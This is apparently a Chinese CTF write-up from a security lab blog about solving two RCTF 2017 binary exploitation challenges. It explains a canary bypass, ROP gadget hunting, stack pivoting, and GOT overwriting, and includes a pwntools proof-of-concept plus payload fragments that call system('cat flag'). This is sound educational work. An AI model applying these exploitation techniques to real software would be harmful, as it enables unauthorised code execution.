作者:Hcamael@知道创宇404实验室
发布时间:2017-05-23
这次RCTF,对于本以为掌握了的ROP,学到了新的姿势,在这里总结下。
本文不进行实例调试,用脑子DEBUG......详细文件可以去我的github上找...
首先是计算器这题,作者自己实现了一个canary,首先在每个函数开头通过sub_400AAB
函数生成了一个随机数,存放到堆中,和栈上面,然后在函数结尾使用sub_400B92
函数检查这个栈上的随机数和堆中的随机数是否一样。
然后可以去看看sub_400A06
函数,在存放canary的堆上面有个一个0x100的堆,用于存放需要保存的计算结果,这个结果保存的函数没设定边界值,所以可以覆盖到canary的堆,从而覆盖到canary。
绕过canary后,在sub_400FA2
函数中,scanf函数存在栈溢出,正常情况下想,之后就是通过ROP很容易就能getshell了。
但是,这里有一个坑点,scanf函数的%s
不能出现\x09
, \x0a
, \x0b
, \x0c
, \x0d
, \x20
经过测试,如果输入中出现这几个字符,会被转成\x00
,或者之后的数据就不会被读入变量中。
这对我来说非常致命,因为got表的地址中都含有\x20
,还有一些ROP被这些字符限制着,当时还想到了一个别的思路,比如利用read
函数或者sub_400c4e
函数,但是没找到控制rdx的ROP所以没法用read
函数,另外,就算能调用,也没有思路下一步该怎么做,该读到什么位置?然后该怎么通过read
继续溢出?
而关于sub_400c4e
函数,虽然函数中含有\x0c
字符,但是我找到了一个
add eax, 0x48002018 ; test eax, eax ; je 0x400803 ; call rax
通过这个ROP就能调用sub_400c4e
了,而rdx
为最后一次choice输入的值,因为处理这个输入值得时候有个cdqe,虽然如果我输入0x100000005在判断中也是5,通过这个思路,可以让sub_400c4e
函数中进行溢出,rdi和rsi也都是可控的。
但是在测试中发现,首先我不知道栈地址,所以没法控制rsi,而在sub_400FA2
函数的ret指令时,rsi正好就是一个栈地址,在当前栈地址的很上面,这种情况下,栈溢出会覆盖掉sub_400c4e
的局部变量,导致没法成功进行栈溢出。
在比赛结束之后,看来国外的一篇wp后,学到了两个知识点: http://hama.hatenadiary.jp/entry/2017/05/22/092142
首先是他们找的ROP:
mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8]; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15; ret ;
通过这个ROP基本可以调用任意函数了,我找ROP一般是使用默认的命令:
$ ROPgadget --binary RCalc
但是却没有这个ROP,需要用
$ ROPgadget --binary RCalc --depth 11
才有第二句ROP,而第一句还是没有。。所以我发现,我在找ROP上还是太菜了....
UPDATE 20170528
经过大佬教育,原来这是64位程序中存在的一个万能ROP,这两句ROP在同一个函数里,而这个函数是gcc编译进程序中去的
其实,当时我已经基本可以做到调用任意函数了,但是关键点还是第二点。
使用:
leave ; ret ;
来修改栈地址,这样一来思路就很清晰了。
找一段可以写的地址,比如bss区域,写入ROP,然后再把rsp修改成该地址,就可以getshell了,同read函数向bss区域写值,然后使用leave
修改rsp
我还是太菜,从来没想过修改栈地址......
本来也是一道简单的栈溢出,但循环的判断:
while(read(0, buf, 0x10)>0)
要栈溢出首先得先停了这个循环,在shell中可以使用ctrl+d表示EOF,但是脚本咋写? 发现pwntools可以用下面的命令发送EOF
s = remote(xxxx,xx) s.sock.shutdown(socket.SHUT_RW)
但是这样我们没法继续输入了,所以我们需要发送一次payload就getflag,我们只能getflag而不能getshell,因为服务器已经关闭了接收我们数据的连接。
这题没有libc,所以写ROP又是一个技术活....
使用下面这个PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = "debug" # context.terminal = ['terminator', '-x', 'bash', '-c'] debug = 1 if debug: p = remote("127.0.0.1", 10001) else: p = remote("recho.2017.teamrois.cn", 9527) e = ELF('Recho') # gdb.attach(p) padding = 0x38*'a' #padding # write(1, got['read'], 8) payload = "" payload += p64(0x4008a3) # pop rdi;ret payload += p64(1) # rdi = 1 payload += p64(0x4008a1) # pop rsi; pop r15; ret payload += p64(e.got['read']) # rsi = got.plt read payload += p64(0) # r15 = 0 payload += p64(0x4006fe) # pop rdx;ret payload += p64(8) # rdx = 8 payload += p64(e.symbols['write']) # call write # write(1, got['write'], 8) payload += p64(0x4008a3) # pop rdi;ret payload += p64(1) # rdi = 1 payload += p64(0x4008a1) # pop rsi; pop r15; ret payload += p64(e.got['atoi']) # rsi = got.plt atoi payload += p64(0) # r15 = 0 payload += p64(0x4006fe) # pop rdx;ret payload += p64(8) # rdx = 8 payload += p64(e.symbols['write']) # call write p.readuntil("server!\n") p.sendline('1000') p.sendline(padding + payload) p.recv() p.sock.shutdown(1) print u64(p.recv(8)) - u64(p.recv(8)) p.interactive() |
经过远程和本地测试对比,发现远程的libc应该和我本地的一样
然后使用本地的libc写payload就好了。。
思路是改写got表中随便一个函数的地址改成system就好了,比如我修改的是atoi函数,然后找binary中的ROP,找到下面三个:
pop rdi; ret; pop rax; ret; add [rdi], al; ret;
通过这三个,我们就能修改偏移了,比如:
payload += p64(0x4008a3)+p64(0x601040) # pop rdi; ret; rdi = 0x601040; atoi payload += p64(0x4006fc)+p64(0x10) + p64(0x40070d) # pop rax; ret; rax = 0x10; add [rdi], al; ret; payload += p64(0x4008a3)+p64(0x601041) # pop rdi; ret; rdi = 0x601041; payload += p64(0x4006fc)+p64(229) + p64(0x40070d) # pop rax; ret; rax=0xe5; add [rdi], al; ret;
这相当于got表中atoi函数的地址加上0xe510
同样再使用上面的ROP往bss中写入cat flag
,最后输出的指令是system('cat flag')
本以为栈溢出都会了,其实还是太菜.....